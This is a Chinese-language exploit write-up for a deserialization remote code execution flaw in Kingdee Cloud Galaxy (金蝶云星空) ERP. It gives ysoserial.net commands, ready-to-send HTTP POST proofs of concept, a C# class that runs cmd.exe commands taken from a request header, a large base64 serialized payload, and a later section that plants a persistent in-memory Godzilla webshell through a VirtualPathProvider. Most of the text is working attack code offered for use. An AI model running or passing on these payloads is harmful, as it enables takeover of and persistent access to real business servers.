漏洞原理

由于金蝶云星空管理中心在处理序列化数据时,未对数据进行签名或校验,攻击手可以写入包含恶意代码的序列化数据,系统在进行反序列化时造成远程命令执行,该“管理中心“是提供给管理员使用的管理端,默认开放于8000端口。

影响范围

金蝶云星空<6.2.1012.4
7.0.352.16 < 金蝶云星空 <7.7.0.202111
8.0.0.202205 <金蝶云星空< 8.1.0.20221110

漏洞复现

这里需要用到ysoserial.net生成链。

ysoserial.exe -f BinaryFormatter -g ResourceSet -o base64 -c "ping caaxxx.dnslog.cn"

POC无回显版本

POST /K3Cloud/Kingdee.BOS.ServiceFacade.ServicesStub.DevReportService.GetBusinessObjectData.common.kdsvc HTTP/1.1
Host: example.com
Content-Type: text/json

{
    "ap0":"AAEAAAD////",
    "format":"3"
}

其中ap0中替换为ysoserial.exe中生成的内容,通常情况下为200响应。

image-20230621172829815

POC有回显版本

这样一来是没有回显的,打起来也非常难受,那么有没有什么办法能够回显呢?

这时候就可以通过ActivitySurrogateSelectorFromFile来构造新链了。

ysoserial.exe -f BinaryFormatter -g ActivitySurrogateSelectorFromFile -c "ExploitClass.cs;System.Windows.Forms.dll;System.dll;System.Web.dll"

其中ExploitClass.cs的我们就实现一个从header中读取参数然后执行的代码。

class E
{
    public E()
    {
        System.Web.HttpContext context = System.Web.HttpContext.Current;
        context.Server.ClearError();
        context.Response.Clear(); 
        try
        {
            System.Diagnostics.Process process = new System.Diagnostics.Process();
            process.StartInfo.FileName = "cmd.exe";
            string cmd = context.Request.Headers["cmd"];
            process.StartInfo.Arguments = "/c " + cmd;
            process.StartInfo.RedirectStandardOutput = true;
            process.StartInfo.RedirectStandardError = true;
            process.StartInfo.UseShellExecute = false;
            process.Start();
            string output = process.StandardOutput.ReadToEnd();
            context.Response.Write(output);
        } catch (System.Exception) {}
        context.Response.Flush();
        context.Response.End();
    }
}

再使用生成ysoserial的ActivitySurrogateSelectorFromFile方法生成链。

ysoserial.exe -f BinaryFormatter -g ActivitySurrogateSelectorFromFile -c "ExploitClass.cs;System.Windows.Forms.dll;System.dll;System.Web.dll"

生成结果如下:

AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACFTeXN0ZW0uV2luZG93cy5Gb3Jtcy5BeEhvc3QrU3RhdGUBAAAAEVByb3BlcnR5QmFnQmluYXJ5BwICAAAACQMAAAAPAwAAAMctAAACAAEAAAD/////AQAAAAAAAAAEAQAAAH9TeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDFbW1N5c3RlbS5PYmplY3QsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dAwAAAAZfaXRlbXMFX3NpemUIX3ZlcnNpb24FAAAICAkCAAAACgAAAAoAAAAQAgAAABAAAAAJAwAAAAkEAAAACQUAAAAJBgAAAAkHAAAACQgAAAAJCQAAAAkKAAAACQsAAAAJDAAAAA0GBwMAAAABAQAAAAEAAAAHAgkNAAAADA4AAABhU3lzdGVtLldvcmtmbG93LkNvbXBvbmVudE1vZGVsLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQUEAAAAalN5c3RlbS5Xb3JrZmxvdy5Db21wb25lbnRNb2RlbC5TZXJpYWxpemF0aW9uLkFjdGl2aXR5U3Vycm9nYXRlU2VsZWN0b3IrT2JqZWN0U3Vycm9nYXRlK09iamVjdFNlcmlhbGl6ZWRSZWYCAAAABHR5cGULbWVtYmVyRGF0YXMDBR9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyDgAAAAkPAAAACRAAAAABBQAAAAQAAAAJEQAAAAkSAAAAAQYAAAAEAAAACRMAAAAJFAAAAAEHAAAABAAAAAkVAAAACRYAAAABCAAAAAQAAAAJFwAAAAkYAAAAAQkAAAAEAAAACRkAAAAJGgAAAAEKAAAABAAAAAkbAAAACRwAAAABCwAAAAQAAAAJHQAAAAkeAAAABAwAAAAcU3lzdGVtLkNv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image-20230621172133337

卡巴牛逼,打扰了,换一个再来。

image-20230621172337242

可以看到轻松回显。

完整的POC如下:

POST /K3Cloud/Kingdee.BOS.ServiceFacade.ServicesStub.User.UserService.SaveUserPassport.common.kdsvc?dcInfo=11 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 11.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5520.225 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: ASP.NET_SessionId=41t5f11hkfhru5h5bc5wox3p; Theme=standard; kdservice-sessionid=13390743-9d17-4d4f-a6a9-a58582831195
Upgrade-Insecure-Requests: 1
cmd:  tasklist
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Google Chrome";v="111", "Chromium";v="111", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?0
Content-Type: text/json
Content-Length: 15916

 {
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"format":"3"
}

内存马版本(2024.07.09更新)

金蝶云星空哥斯拉内存马,请求路径是 /indexx.aspx

ysoserial.exe -f BinaryFormatter -g ActivitySurrogateSelectorFromFile -c "VirtualPath_Godzilla.cs;System.Web.dll;System.dll"
class G
{
    public G()
    {
        // Author: Soroush Dalili (@irsdl)

        // base64-encoded version of a webshell.aspx file
        string webshellContentsBase64 = "PCVAIFBhZ2UgTGFuZ3VhZ2U9IkMjIiU+PCV0cnkgeyBzdHJpbmcga2V5ID0gIjNjNmUwYjhhOWMxNTIyNGEiOyBzdHJpbmcgcGFzcyA9ICJwYXNzIjsgc3RyaW5nIG1kNSA9IFN5c3RlbS5CaXRDb252ZXJ0ZXIuVG9TdHJpbmcobmV3IFN5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuTUQ1Q3J5cHRvU2VydmljZVByb3ZpZGVyKCkuQ29tcHV0ZUhhc2goU3lzdGVtLlRleHQuRW5jb2RpbmcuRGVmYXVsdC5HZXRCeXRlcyhwYXNzICsga2V5KSkpLlJlcGxhY2UoIi0iLCAiIik7IGJ5dGVbXSBkYXRhID0gU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhDb250ZXh0LlJlcXVlc3RbcGFzc10pOyBkYXRhID0gbmV3IFN5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUmlqbmRhZWxNYW5hZ2VkKCkuQ3JlYXRlRGVjcnlwdG9yKFN5c3RlbS5UZXh0LkVuY29kaW5nLkRlZmF1bHQuR2V0Qnl0ZXMoa2V5KSwgU3lzdGVtLlRleHQuRW5jb2RpbmcuRGVmYXVsdC5HZXRCeXRlcyhrZXkpKS5UcmFuc2Zvcm1GaW5hbEJsb2NrKGRhdGEsIDAsIGRhdGEuTGVuZ3RoKTsgaWYgKENvbnRleHQuU2Vzc2lvblsicGF5bG9hZCJdID09IG51bGwpIHsgQ29udGV4dC5TZXNzaW9uWyJwYXlsb2FkIl0gPSAoU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHkpdHlwZW9mKFN5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5KS5HZXRNZXRob2QoIkxvYWQiLCBuZXcgU3lzdGVtLlR5cGVbXSB7IHR5cGVvZihieXRlW10pIH0pLkludm9rZShudWxsLCBuZXcgb2JqZWN0W10geyBkYXRhIH0pOyA7IH0gZWxzZSB7IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW0gb3V0U3RyZWFtID0gbmV3IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW0oKTsgb2JqZWN0IG8gPSAoKFN5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5KUNvbnRleHQuU2Vzc2lvblsicGF5bG9hZCJdKS5DcmVhdGVJbnN0YW5jZSgiTFkiKTsgby5FcXVhbHMoQ29udGV4dCk7IG8uRXF1YWxzKG91dFN0cmVhbSk7IG8uRXF1YWxzKGRhdGEpOyBvLlRvU3RyaW5nKCk7IGJ5dGVbXSByID0gb3V0U3RyZWFtLlRvQXJyYXkoKTsgQ29udGV4dC5SZXNwb25zZS5Xcml0ZShtZDUuU3Vic3RyaW5nKDAsIDE2KSk7IENvbnRleHQuUmVzcG9uc2UuV3JpdGUoU3lzdGVtLkNvbnZlcnQuVG9CYXNlNjRTdHJpbmcobmV3IFN5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUmlqbmRhZWxNYW5hZ2VkKCkuQ3JlYXRlRW5jcnlwdG9yKFN5c3RlbS5UZXh0LkVuY29kaW5nLkRlZmF1bHQuR2V0Qnl0ZXMoa2V5KSwgU3lzdGVtLlRleHQuRW5jb2RpbmcuRGVmYXVsdC5HZXRCeXRlcyhrZXkpKS5UcmFuc2Zvcm1GaW5hbEJsb2NrKHIsIDAsIHIuTGVuZ3RoKSkpOyBDb250ZXh0LlJlc3BvbnNlLldyaXRlKG1kNS5TdWJzdHJpbmcoMTYpKTsgfSB9IGNhdGNoIChTeXN0ZW0uRXhjZXB0aW9uKSB7IH0KJT4=";
        string webshellType = ".aspx";
        string webshellContent = System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(webshellContentsBase64));


        string rootPath = System.Web.HttpContext.Current.Request.CurrentExecutionFilePath.TrimEnd('/').ToLower();
        // removing the application name when making the virtual directory
        int index = rootPath.IndexOf(System.Web.HttpContext.Current.Request.ApplicationPath.ToLower());
        if (index >= 0)
            rootPath = rootPath.Remove(index, System.Web.HttpContext.Current.Request.ApplicationPath.Length);

        // fiddle with targetVirtualPath if needed and you know what path can be used to create the virtual path
        string prefix = "";
        if (rootPath.LastIndexOf("/") > 0)
            prefix = rootPath.Substring(0, rootPath.LastIndexOf("/"));
        // 请求路径,也就是/indexx.aspx
        string targetVirtualPath = prefix + "/indexx/";

        targetVirtualPath = targetVirtualPath.Replace("//", "/");


        //System.Web.HttpContext.Current.Response.AddHeader("INFO", System.Web.Compilation.BuildManager.IsPrecompiledApp.ToString()); // info leak
        //System.Web.HttpContext.Current.Response.AddHeader("via", "yso"); // beacon

        try
        {
            //SamplePathProvider sampleProvider = new SamplePathProvider("fakepath1337", @"This is the attacker's file - running on the server if this `<%=1338-1%>` is 1337.");
            SamplePathProvider sampleProvider = new SamplePathProvider(targetVirtualPath, webshellContent);

            // Uncomment this if FriendlyUrlSettings is used! Remember to include Microsoft.AspNet.FriendlyUrls.dll
            /*
            
            foreach (var route in System.Web.Routing.RouteTable.Routes)
            {
                
                if (route.GetType().FullName == "Microsoft.AspNet.FriendlyUrls.FriendlyUrlRoute")
                {
                    var FriendlySetting = route.GetType().GetProperty("Settings", System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.Public);
                    var settings = new Microsoft.AspNet.FriendlyUrls.FriendlyUrlSettings();
                    settings.AutoRedirectMode = Microsoft.AspNet.FriendlyUrls.RedirectMode.Off;
                    FriendlySetting.SetValue(route, settings);
                }
            }
            //*/

            sampleProvider.InitializeLifetimeService(); // we want our web shell to remain there forever (NO. 1)

            System.Reflection.FieldInfo field_isPrecompiledAppComputed = null;
            System.Reflection.FieldInfo field_isPrecompiledApp = null;
            object field_theBuildManager_instance = null;
            object field_isPrecompiledAppComputed_oldValue = null;
            object field_isPrecompiledApp_oldValue = null;


            if (System.Web.Compilation.BuildManager.IsPrecompiledApp)
            {
                // To disable isPrecompiledApp settings
                var typeBuildManager = typeof(System.Web.Compilation.BuildManager);
                System.Reflection.FieldInfo field_theBuildManager = typeBuildManager.GetField("_theBuildManager", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
                field_isPrecompiledAppComputed = typeBuildManager.GetField("_isPrecompiledAppComputed", System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.NonPublic);
                field_isPrecompiledApp = typeBuildManager.GetField("_isPrecompiledApp", System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.NonPublic);
                field_theBuildManager_instance = field_theBuildManager.GetValue(null);
                field_isPrecompiledAppComputed_oldValue = field_isPrecompiledAppComputed.GetValue(field_theBuildManager_instance);
                field_isPrecompiledApp_oldValue = field_isPrecompiledApp.GetValue(field_theBuildManager_instance);
                field_isPrecompiledAppComputed.SetValue(field_theBuildManager_instance, true);
                field_isPrecompiledApp.SetValue(field_theBuildManager_instance, false);
            }

            // IsPrecompiledApp is false!
            System.Web.Hosting.HostingEnvironment.RegisterVirtualPathProvider(sampleProvider);

            if (field_isPrecompiledAppComputed != null)
            {
                // To reverse isPrecompiledApp settings
                field_isPrecompiledAppComputed.SetValue(field_theBuildManager_instance, field_isPrecompiledAppComputed_oldValue);
                field_isPrecompiledApp.SetValue(field_theBuildManager_instance, field_isPrecompiledApp_oldValue);
            }

            System.Web.HttpContext.Current.Response.Clear();
            System.Web.HttpContext.Current.Response.BufferOutput = true;

            //*
            System.Web.HttpContext.Current.Server.Execute(targetVirtualPath + "ghostfile" + (new System.Random()).Next(1000) + webshellType); // if you need to compile a file immediately
            System.Web.HttpContext.Current.Response.End();

            //*/
            //OR
            /*
            string redirectionTarget = (System.Web.HttpContext.Current.Request.ApplicationPath + targetVirtualPath + "ghostfile" + (new System.Random()).Next(1000) + webshellType).Replace("//", "/");
            System.Web.HttpContext.Current.Response.Redirect(redirectionTarget);
            //*/
        }
        catch (System.Exception error)
        {
            System.Web.HttpContext.Current.Response.AddHeader("Errors", System.Web.HttpUtility.UrlEncode(error.ToString()));
        }
    }

    public class myHandler : System.Web.IHttpHandler, System.Web.Routing.IRouteHandler
    {
        public bool IsReusable
        {
            get { return true; }
        }

        public void ProcessRequest(System.Web.HttpContext context)
        {
            // your processing here
        }

        public System.Web.IHttpHandler GetHttpHandler(System.Web.Routing.RequestContext requestContext)
        {
            return this;
        }
    }
    // Reference: https://docs.microsoft.com/en-us/dotnet/api/system.web.hosting.virtualpathprovider?view=netframework-4.8
    public class SamplePathProvider : System.Web.Hosting.VirtualPathProvider
    {
        private string _virtualDir;
        private string _fileContent;

        public SamplePathProvider(string virtualDir, string fileContent)
          : base()
        {

            _virtualDir = "/" + virtualDir.Replace(@"\", "/");
            _virtualDir = _virtualDir.Replace("//", "/").TrimEnd('/');

            _fileContent = fileContent;
        }

        protected override void Initialize()
        { }

        private bool IsPathVirtual(string virtualPath)
        {
            //return true; // uncomment this if you need to take over all non-compiled files! this can be very disruptive and can cause DoS
            System.String checkPath = System.Web.VirtualPathUtility.ToAppRelative(virtualPath);
            return checkPath.ToLower().Contains(_virtualDir.ToLower()); // checkPath.ToLower().Contains(_virtualDir.ToLower()) && checkPath.ToLower().EndsWith(".aspx");
        }

        public override bool FileExists(string virtualPath)
        {
            if (IsPathVirtual(virtualPath))
            {
                return true;
            }
            else
            {
                return Previous.FileExists(virtualPath);
            }
        }

        public override bool DirectoryExists(string virtualDir)
        {
            if (IsPathVirtual(virtualDir))
            {
                return true;
            }
            else
            {
                return Previous.DirectoryExists(virtualDir);
            }
        }

        public override System.Web.Hosting.VirtualFile GetFile(string virtualPath)
        {
            if (IsPathVirtual(virtualPath))
                return new SampleVirtualFile(virtualPath, _fileContent);
            else
                return Previous.GetFile(virtualPath);
        }


        public override System.Web.Hosting.VirtualDirectory GetDirectory(string virtualDir)
        {
            if (IsPathVirtual(virtualDir))
                return new SampleVirtualDirectory(virtualDir);
            else
                return Previous.GetDirectory(virtualDir);
        }

        public override System.Web.Caching.CacheDependency GetCacheDependency(
          string virtualPath,
          System.Collections.IEnumerable virtualPathDependencies,
          System.DateTime utcStart)
        {
            if (IsPathVirtual(virtualPath))
            {
                /*
                System.Collections.Specialized.StringCollection fullPathDependencies = null;

                // Get the full path to all dependencies.
                foreach (string virtualDependency in virtualPathDependencies)
                {
                    if (fullPathDependencies == null)
                        fullPathDependencies = new System.Collections.Specialized.StringCollection();

                    fullPathDependencies.Add(virtualDependency);
                }
                if (fullPathDependencies == null)
                    return null;

                // Copy the list of full-path dependencies into an array.
                string[] fullPathDependenciesArray = new string[fullPathDependencies.Count];
                fullPathDependencies.CopyTo(fullPathDependenciesArray, 0);
                
                // Copy the virtual path into an array.
                string[] virtualPathArray = new string[1];
                virtualPathArray[0] = @"c:\";

                return new System.Web.Caching.CacheDependency(virtualPathArray, fullPathDependenciesArray, utcStart);
                */

                // we want our web shell to remain  longer than usual! (NO. 2) - uncomment above if you want a shorter expiry
                return new System.Web.Caching.CacheDependency(@"c:\");
            }
            else
            {
                return Previous.GetCacheDependency(virtualPath, virtualPathDependencies, utcStart);
            }
        }
    }

    public class SampleVirtualFile : System.Web.Hosting.VirtualFile
    {
        private string _fileContent;
        public bool Exists
        {
            get { return true; }
        }

        public SampleVirtualFile(string virtualPath, string fileContent)
          : base(virtualPath)
        {
            this._fileContent = fileContent;
        }

        public override System.IO.Stream Open()
        {
            System.IO.Stream stream = new System.IO.MemoryStream(System.Text.Encoding.UTF8.GetBytes(_fileContent));
            return stream;
        }
    }

    public class SampleVirtualDirectory : System.Web.Hosting.VirtualDirectory
    {
        public SampleVirtualDirectory(string virtualDir)
          : base(virtualDir)
        {
            string path = virtualDir;

            // System.Web.Hosting.HostingEnvironment.ApplicationVirtualPath or System.Web.HttpContext.Current.Request.ApplicationPath ? */
            if (System.Web.HttpContext.Current.Request.ApplicationPath != "/")
            {
                int index = virtualDir.IndexOf(System.Web.HttpContext.Current.Request.ApplicationPath.ToLower());
                if (index >= 0)
                    path = virtualDir.Remove(index, System.Web.HttpContext.Current.Request.ApplicationPath.Length);
            }

            path = path.TrimEnd('/');

            if (!string.IsNullOrEmpty(path))
            {

                //SampleVirtualDirectory svd = new SampleVirtualDirectory(path);
                children.Add(this);
                directories.Add(this);

                SampleVirtualFile svf = new SampleVirtualFile(path + "/ghostfile.aspx", "");
                children.Add(svf);
                files.Add(svf);
            }
        }

        private System.Collections.ArrayList children = new System.Collections.ArrayList();
        public override System.Collections.IEnumerable Children
        {
            get { return children; }
        }

        private System.Collections.ArrayList directories = new System.Collections.ArrayList();
        public override System.Collections.IEnumerable Directories
        {
            get { return directories; }
        }

        private System.Collections.ArrayList files = new System.Collections.ArrayList();
        public override System.Collections.IEnumerable Files
        {
            get { return files; }
        }
    }
}